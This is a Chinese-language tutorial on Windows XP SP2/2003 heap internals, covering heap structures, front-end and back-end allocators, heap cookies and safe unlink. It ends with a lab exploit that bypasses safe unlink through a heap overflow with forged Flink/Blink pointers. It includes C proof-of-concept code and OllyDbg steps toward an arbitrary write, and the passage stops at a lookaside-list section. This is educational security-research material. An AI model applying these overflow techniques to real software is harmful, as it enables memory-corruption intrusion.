Windows 堆管理机制 [3] Windows XP SP2 – Windows 2003 版本

3. Windows XP SP2 -- Windows 2003

3.1 环境准备

环境 环境准备
虚拟机 32位Windows XP SP2 \32位Windows XP SP3
调试器 OllyDbg、WinDbg
编译器 VC6.0++、VS2008

3.2 堆的结构(Windbg详细分析)

​ 在该阶段,堆块的数据结构基本继承于Windows 2000 -- Windows XP SP1阶段的数据结构。但由于增加了一些保护机制,导致了堆块的堆头的基本结构与原始结构有所差别

本部分结构与Windows 2000除了块头部分基本一致 ,只是多了windbg对各部分结构的详细分析,重复部分是为了方便连续阅读。

windows2000和windows2003堆首结构的细微差别

3.2.1 堆的0号段

​ 堆管理器在创建堆时会建立一个段(Segment),在一个段用完后,如果这个堆是可增长的(含有HEAP_GROWABLE标志),则堆管理器会再分配一个段。所以每个堆至少拥有一个段,即0号段,最多可以拥有64个段

​ 在0号段的开始处存放着堆的头信息,是一个HEAP结构,其中定义了很多个字段用来记录堆的属性。每个段都有一个HEAP_SEGMENT结构来描述自己,对于0号段,这个结构位于HEAP结构之后,对于其他段,这个结构位于段的起始处

图3-2-1 左:0号段 右:1号段

1. 堆的管理结构

1)通过dt _PEB @$peb 查看PEB内容

2)可见堆块个数和堆数组起始地址

3)通过dd 0x7c99cfc0 查看堆块数组

4)通过dt _HEAP 00090000 查看进程默认堆的结构体

c++ 复制代码
lkd> dt _HEAP 00090000
ntdll!_HEAP
   +0x000 Entry            : _HEAP_ENTRY		//存放管理结构的堆块句柄
   +0x008 Signature        : 0xeeffeeff			//HEAP结构的签名,固定为这个值
   +0x00c Flags            : 2					//堆标志,2代表HEAP_GROWABLE
   +0x010 ForceFlags       : 0					//强制标志
   +0x014 VirtualMemoryThreshold : 0xfe00		//最大堆块大小
   +0x018 SegmentReserve   : 0x100000			//段的保留空间大小
   +0x01c SegmentCommit    : 0x2000				//每次提交内存的大小
   +0x020 DeCommitFreeBlockThreshold : 0x200	//解除提交的单块阈值(粒度为单位)
   +0x024 DeCommitTotalFreeThreshold : 0x2000	//解除提交的总空闲块阈值(粒度数)
   +0x028 TotalFreeSize    : 0x60e				//空闲块总大小,以粒度为单位
   +0x02c MaximumAllocationSize : 0x7ffdefff	//可分配的最大值
   +0x030 ProcessHeapsListIndex : 1				//本堆在进程堆列表中的索引
   +0x032 HeaderValidateLength : 0x608			//头结构的验证长度,实际占用0x640
   +0x034 HeaderValidateCopy : (null) 			
   +0x038 NextAvailableTagIndex : 0				//下一个可用的堆块标记索引
   +0x03a MaximumTagIndex  : 0					//最大的堆块标记索引号
   +0x03c TagEntries       : (null) 			//指向用于标记堆块的标记结构
   +0x040 UCRSegments      : (null) 			//UnCommitedRange Segments
   +0x044 UnusedUnCommittedRanges : 0x00090598 _HEAP_UNCOMMMTTED_RANGE
   +0x048 AlignRound       : 0xf
   +0x04c AlignMask        : 0xfffffff8			//用于地址对齐的掩码
   +0x050 VirtualAllocdBlocks : _LIST_ENTRY [ 0x90050 - 0x90050 ]
   +0x058 Segments         : [64] 0x00090640 _HEAP_SEGMENT	//段数组
   +0x158 u                : __unnamed			//FreeList的位图bitmap,16个字节对应128位
   +0x168 u2               : __unnamed
   +0x16a AllocatorBackTraceIndex : 0			//用于记录回溯信息
   +0x16c NonDedicatedListLength : 1
   +0x170 LargeBlocksIndex : (null) 
   +0x174 PseudoTagEntries : (null) 
   +0x178 FreeLists        : [128] _LIST_ENTRY [ 0xcb3d0 - 0xcb3d0 ]	//空闲块
   +0x578 LockVariable     : 0x00090608 _HEAP_LOCK	//用于串行化控制的同步对象
   +0x57c CommitRoutine    : (null) 
   +0x580 FrontEndHeap     : 0x00090688 Void	//用于快速释放堆块的"前端堆"
   +0x584 FrontHeapLockCount : 0				//"前端堆"的锁定计数
   +0x586 FrontEndHeapType : 0x1 ''				//"前端堆"的类型
   +0x587 LastSegmentIndex : 0 ''				//最后一个段的索引号
  • VirtualMemoryThreshold:以分配粒度为单位的堆块阈值,即前面提到过的可以在段中分配的堆块最大值。0xfe00×8 字节 = 0x7f000 字节 = 508KB

    ​ 这个值小于真正的最大值,为堆块的管理信息区保留了 4KB 的空间。即这个堆中最大的普通堆块的用户数据区是 508KB,对于超过这个数值的分配申请,堆管理器会直接调用 ZwAllocateVirtualMemory 来满足这次分配,并把分得的地 址记录在 VirtualAllocdBlocks 所指向的链表中。

    注意:如果堆标志中不包含 HEAP_GROWABLE,这样的分配就会失败。如果一个堆是不可增长的,那么可以分配的最大用户数据区便是 512KB,即使堆中空闲空间远远大于这个值。

  • Segments :用来记录堆中包含的所有段,它是一个数组,其中每个元素是一个指向 HEAP_SEGMENT 结构的指针

  • LastSegmentIndex:用来标识目前堆中最后一个段的序号, 其值加一便是段的总个数。

  • FreeLists:是一个包含 128 个元素的数组,用来记录堆中空闲堆块链表的表头。当有新的分配请求时,堆管理器会遍历这个链表寻找可以满足请求大小的最接近堆块。如果找到了,便将这个块分配出去;否则,便要考虑为这次请求提交新的内存页和建立新的堆块

    当释放一个堆块时,除非这个堆块满足解除提交的条件,要直接释放给内存管理器,大多数情况下对其修改属性并加入空闲链表中

2. HEAP_SEGMENT 结构

1)通过dt _HEAP_SEGMENT 0x00090640 查看该结构

2)该结构体如下

c++ 复制代码
ntdll!_HEAP_SEGMENT
   +0x000 Entry            : _HEAP_ENTRY			//段中存放本结构的堆块
   +0x008 Signature        : 0xffeeffee				//段结构的签名,固定为这个值
   +0x00c Flags            : 0						//段标志
   +0x010 Heap             : 0x00090000 _HEAP		//段所属的堆
   +0x014 LargestUnCommittedRange : 0x19000			
   +0x018 BaseAddress      : 0x00090000 Void		//段的基地址
   +0x01c NumberOfPages    : 0x100					//段的内存页数
   +0x020 FirstEntry       : 0x00090680 _HEAP_ENTRY	//第一个堆块
   +0x024 LastValidEntry   : 0x00190000 _HEAP_ENTRY	//堆块的边界值
   +0x028 NumberOfUnCommittedPages : 0x50			//尚未提交的内存页数
   +0x02c NumberOfUnCommittedRanges : 0x13			//UnCommittedRanges数组元素数
   +0x030 UnCommittedRanges : 0x02ff0160 _HEAP_UNCOMMMTTED_RANGE
   +0x034 AllocatorBackTraceIndex : 0				//初始化段的UST记录序号
   +0x036 Reserved         : 0
   +0x038 LastEntryInSegment : 0x0010fda0 _HEAP_ENTRY	//最末一个堆块

​ 该结构体信息为堆的第一个段的信息,在这个段的开头存放的是堆的管理结构,其地址范围为 0x00090000~0x00090640 字节,从 0x00090640 开始是 0x40 字节长的_HEAP_SEGMENT,之后便是段中的第一个用户堆块,FirstEntry 字段用来直接指向这个堆块。堆管理器使用 HEAP_ENTRY 结构来描述每个堆块

3.2.2 堆块

​ 堆中的内存区被分割为一系列不同大小的堆块。每个堆块的起始处一定是一个 8 字节的 HEAP_ENTRY 结构,后面便是供应用程序使用的区域,通常称为用户区

​ HEAP_ENTRY 结构的前两字节是以分配粒度表示的堆块大小 。分配粒度通常为 8 字节,这意味着每个堆块的最大值是 2 的 16 次方乘以 8 字节,即 0x10000×8 字节 = 0x80000 字节 = 524288 字节=512KB, 因为每个堆块至少要有 8 字节的管理信息,所以应用程序可以使用的最大堆块便是 0x80000 字节 - 8 字节 = 0x7FFF8 字节

1. HEAP_ENTRY 结构

1)通过dt _HEAP_ENTRY 0x00090680 查看该结构

2)该结构如下:

c++ 复制代码
ntdll!_HEAP_ENTRY
   +0x000 Size             : 0x301				//堆块的大小,以分配粒度为单位
   +0x002 PreviousSize     : 8					//前一个堆块的大小
   +0x000 SubSegmentCode   : 0x00080301 Void	
   +0x004 SmallTagIndex    : 0xfe ''			//用于检查堆溢出的Cookie 
       											//_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)
   +0x005 Flags            : 0x1 ''				//标志
   +0x006 UnusedBytes      : 0x8 ''				//因为补齐而多分配的字节数
   +0x007 SegmentIndex     : 0 ''				//这个堆块所在段的序号

堆块标志如下

标志 含义
HEAP_ENTRY_BUSY 01 该块处于占用(busy)状态
HEAP_ENTRY_EXTRA_PRESENT 02 这个块存在额外(extra)描述
HEAP_ENTRY_FIILL_PRPATTERN 04 使用固定模式填充堆块
HEAP_ENTRY_VIRTUAL_ALLOC 08 虚拟分配(virtual allocation)
HEAP_ENTRY_LAST_ENTRY 0x10 该段的最后一个块
HEAP_ENTRY_SETTABLE_FLAG1 0x20
HEAP_ENTRY_SETTABLE_FLAG2 0x40
HEAP_ENTRY_SETTABLE_FLAG3 0x80 No coalesce

2.HEAP_FREE_ENTRY结构

​ 空闲态堆块和占用态堆块的块首结构基本一致,只是将块首后数据区的前 8 个字节用于存放空表指针了,这 8 个字节在变回占用态时将重新分回块身用于存放数据

1)通过dt ntdll!_HEAP_FREE_ENTRY 查看该结构

2)该结构如下:

c++ 复制代码
lkd> dt ntdll!_HEAP_FREE_ENTRY
   +0x000 Size             : Uint2B			//堆块的大小,以分配粒度为单位
   +0x002 PreviousSize     : Uint2B			//上一堆块的大小,以分配粒度为单位
   +0x000 SubSegmentCode   : Ptr32 Void		//子段代码
   +0x004 SmallTagIndex    : UChar			//堆块的标记序号
       										//_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)
   +0x005 Flags            : UChar			//堆块标志
   +0x006 UnusedBytes      : UChar			//残留信息
   +0x007 SegmentIndex     : UChar			//所在段序号
   +0x008 FreeList         : _LIST_ENTRY	//空闲链表的节点

占用状态的堆块

空闲状态的堆块

3.2.3 虚拟内存块VirtualAllocdBlocks

​ 当一个应用程序要分配大于 512KB 的堆块时,如果堆标志中包含 HEAP_GROWABLE(2),那 么堆管理器便会直接调用 ZwAllocateVirtualMemory 来满足这次分配,并把分得的地址记录在 HEAP 结构的 VirtualAllocdBlocks 所指向的链表中

​ 每个大虚拟内存块的起始处是一个 HEAP_VIRTUAL_ALLOC_ENTRY 结构(32 字节)

c++ 复制代码
typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY {
    LIST_ENTRY Entry;
    HEAP_ENTRY_EXTRA ExtraStuff;
    SIZE_T CommitSize;
    SIZE_T ReserveSize;
    HEAP_ENTRY BusyBlock;
} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY;

3.3 堆块的操作

​ 在该阶段,堆的分配被划分为前端堆管理器(Front-End Manager)后端堆管理器(Back-End Manager)

​ 前端堆管理器主要由上文中提到的快表有关的分配机制构成,后端堆管理器则是由空表有关的分配机制构成。除前、后端堆管理器以外的堆块分配、释放、合并等操作基本继承于Windows 2000 -- Windows XP SP1阶段的堆块操作

3.3.1 前端分配器

​ 处Windows Vista以外,所有版本的Windows默认情况下均采用旁视列表前端分配器

1. 旁视列表Lookaside

​ 旁视列表 (Look Aside List, LAL)是一种老的前端分配器,在Windows XP中使用

​ 快表是与Linux系统中Fastbin相似的存在,是为加速系统对小块的分配而存在的一个数据结构。快表共有128条单向链表 ,每一条单链表为一条快表,除第0号、1号快表外,从第2号快表到127号快表分别维护着从16字节(含堆头)开始到1016字节(含堆头)每8字节递增的快表,即(快表号*8字节)大小。由于空闲状态的堆头信息占8字节,因此0号和1号快表始终不会有堆块链入

​ 快表总是被初始化为空 ,每条快表最多有4个结点,进入快表的堆块遵从先进后出(FILO)的规律。为提升小堆块的分配速度,在快表中的空闲堆块不会进行合并操作

注意:图中堆块字节数已包含块头的8字节

​ 在分配新的堆块时,堆管理器会先搜索旁视列表,看是否有合适的堆块。因为从旁视列表中分配堆块是优先于其他分配逻辑的,所以它又叫前端堆(front end heap),前端堆主要用来提高释放和分配堆块的速度

HEAP_LOOKASIDE结构

c++ 复制代码
typedef struct _HEAP_LOOKASIDE {
    SLIST_HEADER_ ListHead;		//指向堆块节点
    USHORT Depth;
    USHORT MaximumDepth;
    ULONG TotalAllocates;
    ULONG AllocateMisses;
    ULONG TotalFrees;
    ULONG FreeMisses;
    ULONG LastTotalAllocates;
    ULONG LastAllocateMisses;
    ULONG Counters[2];
#ifdef _IA64_
    DWORD Pad[3];
#else
    DWORD Pad;
#endif
} HEAP_LOOKASIDE, *PHEAP_LOOKASIDE;

2. 低碎片堆Low Fragmentation

1)堆碎片

​ 在堆上的内存空间被反复分配和释放一段时间后,堆上的可用空间可能被分割得支离破碎, 当再试图从这个堆上分配空间时,即使可用空间加起来的总额大于请求的空间,但是因为没有一块连续的空间可以满足要求,所以分配请求仍会失败,这种现象称为堆碎片(heap fragmentation)。

​ 堆碎片与磁盘碎片的形成机理一样,但比磁盘碎片的影响更大。多个磁盘碎片加起来仍可以满足磁盘分配请求,但是堆碎片是无法通过累加来满足内存分配要求的,因为堆函数返回的必须是地址连续的一段空间。

2)低碎片堆

​ 针对堆碎片问题,Windows XP 和 Windows Server 2003 引入了低碎片堆(Low Fragmentation Heap,LFH)。

​ LFH 将堆上的可用空间划分成 128 个桶位 (bucket),编号为 1~128,每个桶位的空间大小依次递增,1 号桶为 8 字节,128 号桶为 16384 字节(即 16KB)。当需要从 LFH 上分配空间时,堆管理器会根据堆函数参数中所请求的字节将满足要求的最小可用桶分配出去。

举例

​ 如果应用程序请求分配 7 字节,而且 1 号桶空闲,那么将 1 号桶分配给它,如果 1 号桶已经分配出去了(busy),那么便尝试分配 2 号桶。

​ LFH 为不同编号区域的桶规定了不同的分配粒度,桶的容量越大,分配桶时的粒度也越大,比如 1~ 32 号桶的粒度是 8 字节,这意味着这些桶的最小分配单位是 8 字节,对于不足 8 字节的分配请求, 也至少会分配给 8 字节。

桶位(bucket) 分配粒度(granularity) 适用范围(range)
1~32 8 1~256
33~48 16 257~512
49~64 32 513~1024
65~80 64 1025~2048
91~96 128 2049~4096
97~112 256 4097~8192
113~128 512 8193~16384

​ 通过 HeapSetInformation API 可以对一个已经创建好的 NT 堆启用低碎片堆支持。调用 HeapQueryInformation API 可以查询一个堆是否启用了 LFH 支持

​ 例如,下面的代码对当前进程的进程堆启用 LFH 功能:

C++ 复制代码
ULONG HeapFragValue = 2; 
BOOL bSuccess = HeapSetInformation(GetProcessHeap(),  HeapCompatibilityInformation, &HeapFragValue, sizeof(HeapFragValue)); 

3.3.2 后端管理器

1. FreeList

​ 如果前端分配器无法满足分配请求,那么这个请求将被转发到后端分配器。

​ 后端分配器包含了一张空闲列表,即前面提到的FreeList。如果分配请求被转发到后端分配器,那么堆管理器将首先再空闲列表中查找。

​ 空闲堆块的块首中包含一对重要的指针,这对指针用于将空闲堆块组织成双向链表。按照堆块的大小不同,空表总共被分为 128 条。 堆区一开始的堆表区中有一个 128 项的指针数组,被称做空表索引(Freelist array)。该数组的每一项包括两个指针,用于标识一条空表

​ 把空闲堆块按照大小的不同链入不同的空表,可以方便堆管理系统高效检索指定大小的空闲堆块。

堆管理器将分配请求映射到空闲列表位图索引的算法

​ 将请求的字节数+8,再除以8得到索引

举例

​ 对于分配8字节的请求,堆管理器计算出的空闲列表位图索引为2,即(8+8)/2

注意

  • 空表索引的第一项(free[0])所标识的空表相对比较特殊。这条双向链表链入了所有大于等于 1024 字节的堆块(小于 512KB)。这些堆块按照各自的大小在零号空表中升序地依次排列下去。
  • FreeList[1]没有被使用,因为堆块的最小值为16(8字节块头+8字节用户数据)

图3-3-2(1) 空闲双向链表FreeList结构

2. 空表位图

​ 空表位图大小为128bit,每一bit都对应着相应一条空表。若该对应的空表中没有链入任何空闲堆块,则对应的空表位图中的bit就为0,反之为1。在从对应大小空表分配内存失败后,系统将尝试从空表位图中查找满足分配大小且存在空闲堆块的最近的空表,从而加速了对空表的遍历

3. 堆缓存

​ 所有等于或大于1024的空闲块,都被存放在FreeList[0]中。 这是一个从小到大排序的双向链表。因此,如果FreeList[0]中有越来越多的块, 当每次搜索这个列表的时候,堆管理器将需要遍历多外节点。 堆缓存可以减少对FreeList[0]多次访问的开销。它通过在FreeList[0]的块中创建一个额外的索引来实现。

注意

​ 堆管理器并没有真正移动任何空的块到堆缓存。这些空的块依旧保存在FreeList[0],但堆缓存保存着FreeList[0]内的一 些节点的指针,把它们当作快捷方式来加快遍历。

堆缓存结构

​ 这个堆缓存是一个简单的数组,数组中的每个元素大小都是int ptr_t字节,并且包含指向NULL指针或指向FreeList[0]中的块的指针。这个数组包含896个元素,指向的块在1024到8192之间。这是一个可配置的大小,我们将称它为最大缓存索引(maximum cache index) 。

​ 每个元素包含一个单独的指向FreeList[0]中第一个块的指针,它的大小由这个元素决定。如果FreeList[0]中没有大小与它匹配的元素,这个指针将指向NULL。

​ 堆缓存中最后一个元素是唯一的:它不是指向特殊大小为8192的块,而是代表所有大于或等于最大缓存索引的块。所以,它会指向FreeList[0]中第一个大小大于 最大缓存索引的块。

堆缓存位图

​ 堆缓存数组大部分的元素是空的,所以有一个额外的位图用来加快搜索。这个位图的工作原理跟加速空闲列表的位图是一样的。

图3-3-2(2) 堆缓存与FreeList[0]

3.4 堆保护机制

​ Heap Cookie从Windows XP SP2版本开始使用,为上文提到的改变了Windows堆块结构的保护机制,该机制将堆头信息中原1字节的段索引(Segment Index)的位置新替换成了security cookie用来校验是否发生了堆溢出,相应的原1字节的标签索引(Tag Index)的位置替换为段索引位置,取消掉了标签索引。

​ 该机制是在堆块分配时在堆头中随机生成1字节的cookie用于保护其之后的标志位(Flags)、未使用大小(Unused bytes)、段索引及前项堆块指针(Flink)、后项堆块指针(Blink)等敏感数据不被堆溢出所篡改。

在分配块时设置Heap Cookie的函数:

c++ 复制代码
//RtlAllocateHeap函数源码中分配一个块后就会设置该块的Heap Cookie
VOID
FORCEINLINE
RtlpSetSmallTagIndex(
    IN PHEAP Heap,
    IN PVOID HeapEntry,
    IN UCHAR SmallTagIndex
     )
{
    ((PHEAP_ENTRY)HeapEntry)->SmallTagIndex = SmallTagIndex ^ 
                ((UCHAR)((ULONG_PTR)HeapEntry >> HEAP_GRANULARITY_SHIFT) ^ Heap->Entry.SmallTagIndex);
}

​ 在堆块被释放时检查堆头中的cookie是否被篡改,若被篡改则调用RtlpHeapReportCorruption()结束进程。

RtlpHeapReportCorruption函数:

​ 该函数在HeapEnableTerminateOnCorrupton字段被设置后才会起到结束进程的效果,而在该阶段的Windows版本中该字段默认不启用,因此该函数并没有起到结束进程的作用。

​ 对于 2003 和 XP,如果设置了FLG_ENABLE_SYSTEM_CRIT_BREAKS ,堆管理器将调用DbgBreakPoint () ,并在安全断开链接检查失败时引发异常。这是一个不 常见的设置,因为它的安全属性没有明确的文档记录

在释放堆块时检验Heap Cookie的函数:

c++ 复制代码
LOGICAL
FORCEINLINE
RtlpQuickValidateBlock(
    IN PHEAP Heap,
    IN PVOID HeapEntry )
{
    UCHAR SegmentIndex = ((PHEAP_ENTRY)HeapEntry)->SegmentIndex;
    if (  SegmentIndex < HEAP_LFH_INDEX ) {
#if DBG
        if ( (SegmentIndex > HEAP_MAXIMUM_SEGMENTS) 
                ||
             (Heap->Segments[SegmentIndex] == NULL)
                ||
             (HeapEntry < (PVOID)Heap->Segments[SegmentIndex])
                ||
             (HeapEntry >= (PVOID)Heap->Segments[SegmentIndex]->LastValidEntry)) {
            RtlpHeapReportCorruption(HeapEntry);
            return FALSE;
        }
#endif  // DBG

        if (!IS_HEAP_TAGGING_ENABLED()) {
            if (RtlpGetSmallTagIndex(Heap, HeapEntry) != 0) {
                RtlpHeapReportCorruption(HeapEntry);
                return FALSE;
            }
        }
    }
    return TRUE;
}

UCHAR
FORCEINLINE
RtlpGetSmallTagIndex(
    IN PHEAP Heap,
    IN PVOID HeapEntry )
{
    return ((PHEAP_ENTRY)HeapEntry)->SmallTagIndex ^ 
                ((UCHAR)((ULONG_PTR)HeapEntry >> HEAP_GRANULARITY_SHIFT) ^ Heap->Entry.SmallTagIndex);
}

VOID
RtlpHeapReportCorruption ( 
    IN PVOID Address )
{
    DbgPrint("Heap corruption detected at %p\n", Address );
	//强制系统中断调试器
    if (RtlGetNtGlobalFlags() & FLG_ENABLE_SYSTEM_CRIT_BREAKS) {
        //如果安装了内核调试器,此例程将引发由内核调试器处理的异常;否则,调试系统将处理它。 如果调试器未连接到系统,则可以以标准方式处理异常
        DbgBreakPoint();
    }
}

​ Safe Unlink保护机制在前一阶段版本中的Unlink算法前加上了安全检查机制。该机制在堆块从堆表中进行拆卸的操作时,对堆头前项指针和后项指针的合法性进行了检查,解决了之前版本中可通过篡改堆头的前项指针和后项指针轻易执行恶意代码的安全隐患。

在 SP2 之前的链表拆卸操作类似于如下代码:

c++ 复制代码
int remove (ListNode * node) 
{ 
 	node -> blink -> flink = node -> flink; 
 	node -> flink -> blink = node -> blink; 
 	return 0; 
}

SP2 在进行删除操作时,将提前验证堆块前向指针和后向指针的完整性,以防止发生 DWORD SHOOT,Safe Unlink算法伪代码如下所示:

c++ 复制代码
int safe_remove (ListNode * node) 
{ 
 	if( (node->blink->flink==node)&&(node->flink->blink==node) ) 
 	{ 
 		node -> blink -> flink = node -> flink; 
 		node -> flink -> blink = node -> blink; 
 		return 1; 
 	} 
 	else 
 	{ 
 		链表指针被破坏,进入异常
 		return 0; 
 	} 
} 

//如下是windows2003 RtlAllocateHeap中卸下结点时源码内容,可见保护机制代码基本一致
#define RtlpFastRemoveDedicatedFreeBlock( H, FB ) \
{                                                 \
    PLIST_ENTRY _EX_Blink;                        \
    PLIST_ENTRY _EX_Flink;                        \
                                                  \
    _EX_Flink = (FB)->FreeList.Flink;             \
    _EX_Blink = (FB)->FreeList.Blink;             \
                                                  \
    if ( (_EX_Blink->Flink == _EX_Flink->Blink)&& \
         (_EX_Blink->Flink == &(FB)->FreeList) ){ \
        _EX_Blink->Flink = _EX_Flink;             \
        _EX_Flink->Blink = _EX_Blink;             \
                                                  \
    } else {                                      \
        RtlpHeapReportCorruption(&(FB)->FreeList);\
    }                                             \
                                                  \
    if (_EX_Flink == _EX_Blink) {                 \
        CLEAR_FREELIST_BIT( H, FB );              \
    }                                             \
}

3.4.3 PEB Random

​ 微软在 Windows XP SP2 之后不再使用固定的 PEB 基址 0x7ffdf000,而是使用具有一定随机性的 PEB 基址.

​ PEB 随机化之后主要影响了对 PEB 中函数的攻击.在 DWORD SHOOT 的时候,PEB 中的函数指针是绝佳的目标,移动 PEB 基址将在一定程度上给这类攻击增加难度

3.5 突破堆保护机制

3.5.1 攻击堆中存储的变量

​ 堆中的各项保护措施是对堆块的关键结构进行保护,而对于堆中存储的内容是不保护的。如果堆中存放着一些重要的数据或结构指针,如函数指针等内容,通过覆盖这些重要的内容还是可以实现溢出的

1. 漏洞成因

​ 虽然在加入了Safe Unlink条件后,极大的限制了DWORD SHOOT攻击的使用场景,但随着研究人员对Safe Unlink检测机制的研究,仍然构造出了一种十分苛刻的场景达到去绕过Safe Unlink检测机制,触发漏洞最终导致任意地址写。

2. 利用方式

​ Safe Unlink保护机制中,在unlink一个堆块时,会检查该堆块后项堆块的Flink字段和该堆块前项堆块的Blink字段是否都指向该堆块,根据堆块指针和前项后项指针的偏移为0和4字节,可以将判断条件简化为如下伪代码:

c++ 复制代码
//node->Blink->Flink = *(node->Blink)
//node->Flink->Blink = *(node->Flink + 4)
if((*(node->Blink) == node) && (*(node->Flink + 4) == node))

注意:本方法限制较多,以下例子只是简单地复现了一下实现步骤:

实验环境
环境 环境设置
操作系统 Windows XP SP3
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
c++ 复制代码
#include <windows.h>
char shellcode1[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x1B\x00\x1A\x00\x2C\x00\x0E\x00"
"\x4C\x02\x3A\x00\x54\x02\x3A\x00";

char shellcode2[]=
"\xAA\xAA\xAA\xAA\x90\x90\x90\x90\x90\x90"
"\x90\x90";


int main()
{
	HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0, h5 = 0, h6 = 0, h7 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,209);
	__asm int 3 
	HeapFree(hp,0,h1);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h5);
	memcpy(h4,shellcode1,216); 
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
	h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
	memcpy(h7,shellcode2,12);
	
	return 0;
}
实验过程
  1. 当需要unlink的堆块为该空表上的唯一一个堆块,此时会存在一个特殊情况:

    堆块的Flink字段等于Blink字段等于空表头结点,空表头结点的Flink字段也等于Blink字段等于堆块地址

  2. 运行实验代码,出现断点异常时使用OllyDbg附加到程序中进行单步调试,此时已申请完6个堆块,单步执行程序一直到三次释放结束,此时观察堆块情况:

    注意:查找堆块方法和调试堆请见2.4,和前面的方法基本一致。本实验申请的前四个块为200字节(堆块大小为208字节,堆块索引 = 208/8 = 26),所以释放的h1和h3被链入FreeList[26],同理释放的h5被链入FreeList[27]

    • 可见空表头结点的Flink字段等于Blink字段等于堆块地址:FreeList[x]->Flink = FreeList[x]->Blink = &(node->Flink) = 0x003A09C8

    此时FreeList[27]中只链入该堆块一个结点,符合条件,即FreeList[27]为图中的FreeList[x],查看0x003A09C8地址处的h5堆块情况:

    • 可见堆块的Flink字段等于Blink字段等于空表头结点的地址:node->Flink = node->Blink = &(FreeList[x]) = &(FreeList[x]->Flink) = 0x003A0250

    • 该结点情况同时也符合验证条件:*(node->Blink) = *(node->Flink + 4) = 0x003A09C8

  3. 通过堆溢出漏洞将该堆块的Flink字段修改为Freelist[x-1].Blink的地址,将Blink字段修改为Freelist[x].Blink的地址,此时仍可以通过Unlink之前的安全检测,如图所示:

    原理解释

    ​ 将该堆块的Flink和Blink字段修改后如下:

    c++ 复制代码
    node->Flink = &(Freelist[x-1].Blink) = 0x003A024C
    node->Blink = &(Freelist[x].Blink) = 0x003A0254

    ​ 发现修改后两者相等,也符合检验条件

    c++ 复制代码
    *(node->Flink + 4) = 0x003A09C8
    *(node->Blink) =  0x003A09C8
  4. 在OllyDbg中继续单步执行,运行完memcpy(h4,shellcode1,216); 这一行代码后停住。因为h4堆块只申请了200字节的内存,而此行代码拷贝216个字节,造成堆溢出,将shellcode1 201-216字节的内容写入下一个堆块,修改了下一个堆块的前16个字节。

    注意:shellcode中201字节-216字节需自己调试,不同环境可能不一样。

    查看堆块情况,发现此时已修改成功:

  5. 在OllyDbg中继续运行,调用HeapAlloc再次申请h5堆块相同的大小,此时已成功绕过Safe Unlink,绕过安全检测后执行Unlink操作的结果如图所示:

    执行完Unlink操作后,FreeList[x].Blink和FreeList[x].Flink被修改

    c++ 复制代码
    FreeList[x].Blink = &(FreeList[x-1].Blink),即0x003A0254地址处的0x003A09C8被改为0x003A024C
    FreeList[x].Flink = &(FreeList[x].Blink),即0x003A0250地址处的0x003A09C8被改为0x003A0254
  6. 在OllyDbg中继续执行,再次调用HeapAlloc申请和h5同样大小的堆块,此时按照算法会将Freelist[x].Blink指向的堆块分配给用户使用,而在之前构造好的条件下会将Freelist[x-1].Blink及下方的空间当成堆块分配给用户,并且该堆块的用户区指针为Freelist[x].Blink。

  7. 此时我们第一次对指针进行写时,会从Freelist[x-1].Blink往下写,很容易将Freelist[x].Blink覆盖为任意地址,第二次写时即可往任意地址写任意数据

    在OllyDbg中继续执行,可将FreeList[26].Blink,FreeList[27].Flink,FreeList[27].Blink覆盖为任意地址

    此处未利用该堆溢出漏洞进行破坏,只是演示了原理,所以随便写入了一些东西,感兴趣的同学可以继续研究

1. 漏洞成因

​ 该漏洞的产生是由于快表在分配堆块时,未检测其Flink字段指向地址的合法性,会造成在按照快表分配算法执行时,会将非法地址作为堆头分配给用户,最终导致任意地址写任意长度数据的漏洞

1)快表中正常拆卸一个节点的过程
2)漏洞原理

